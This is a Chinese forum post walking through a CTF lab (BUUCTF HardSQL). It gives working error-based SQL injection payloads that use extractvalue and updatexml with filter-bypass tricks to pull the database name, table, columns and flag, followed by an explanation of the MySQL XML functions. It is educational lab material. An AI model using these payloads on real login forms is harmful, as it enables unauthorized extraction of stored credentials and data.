登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
BUUCTF靶场25 -- [极客大挑战 2019]HardSQL
打开题目的实例 
一些过滤的绕过措施: - =:使用 Like 绕过;
- 空格:使用 /**/ 或者 () 绕过;
- substring 与 mid:使用 right 与 left 来绕过;
思路SQl的题目,首先试一试万能密码,如 ' or 1=1# 
试一下双写 
看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号和/**/也被过滤了,所以我们要使用 () 来代替空格,使用like来代替=号
使用extractvalue()
[PHP] 纯文本查看 复制代码 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23 [PHP] 纯文本查看 复制代码 'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

这一下报错把数据库名给爆出来了 爆表
[PHP] 纯文本查看 复制代码 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

爆字段
[SQL] 纯文本查看 复制代码 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

爆数据把password查出来
[SQL] 纯文本查看 复制代码 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

flag出来了,不对好像只有一半,使用{left(),right()}
[SQL] 纯文本查看 复制代码 /check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

拼接起来就是flag了
总结: 拿到了数据库,然后接着是表名 → 列名 → 字段: [SQL] 纯文本查看 复制代码 updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)[/p][p=26, null, left]'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#[/p][p=26, null, left] 补充MySQL 5.1.5 版本中添加了对 XML 文档进行查询和修改的两个函数:extractvalue、updatexml;
名称描述
ExtractValue()使用 XPath 表示法从 XML 字符串中提取值
UpdateXML()返回替换的 XML 片段
通过这两个函数可以完成报错注入;
extractvalueExtractValue(xml_frag, xpath_expr):
ExtractValue() 接受两个字符串参数,一个 XML 标记片段 xml_frag 和一个 XPath 表达式 xpath_expr(也称为 定位器);它返回 CDATA 第一个文本节点的 text(),该节点是 XPath 表达式匹配的元素的子元素。
第一个参数可以传入目标 xml 文档,第二个参数是用 Xpath 路径法表示的查找路径;
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'),就是寻找前一段 xml 文档内容中的 a 节点下的 b 节点,这里如果 Xpath 格式语法书写错误的话,就会报错,利用这个特性来获得我们想要知道的内容,如下:

利用 concat 函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
[SQL] 纯文本查看 复制代码 SELECT ExtractValue('<a><b><b/></a>', concat('~',(select database())))

updatexmlUpdateXML(xml_target, xpath_expr, new_xml):
- xml_target:需要操作的 xml 片段;
- xpath_expr:需要更新的 xml 路径(Xpath 格式);
- new_xml:更新后的内容;
此函数用来更新选定 XML 片段的内容,将 XML 标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml,然后返回更改的 XML,xml_target 替换的部分与 xpath_expr 用户提供的 XPath 表达式匹配。
如果 xpath_expr 未找到表达式匹配,或者找到多个匹配项,则该函数返回原始 xml_target XML片段,所有三个参数都应该是字符串,使用方式如下:
[SQL] 纯文本查看 复制代码 mysql> SELECT
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
-> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
-> \G
运行结果:
[SQL] 纯文本查看 复制代码 val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>
这里和上面的 extractvalue 函数一样,当 Xpath 路径语法错误时,就会报错,报错内容含有错误的路径内容:

from:
1. https://blog.csdn.net/qq_45163122/article/details/105908125
2. https://blog.csdn.net/weixin_46263782/article/details/120741755
|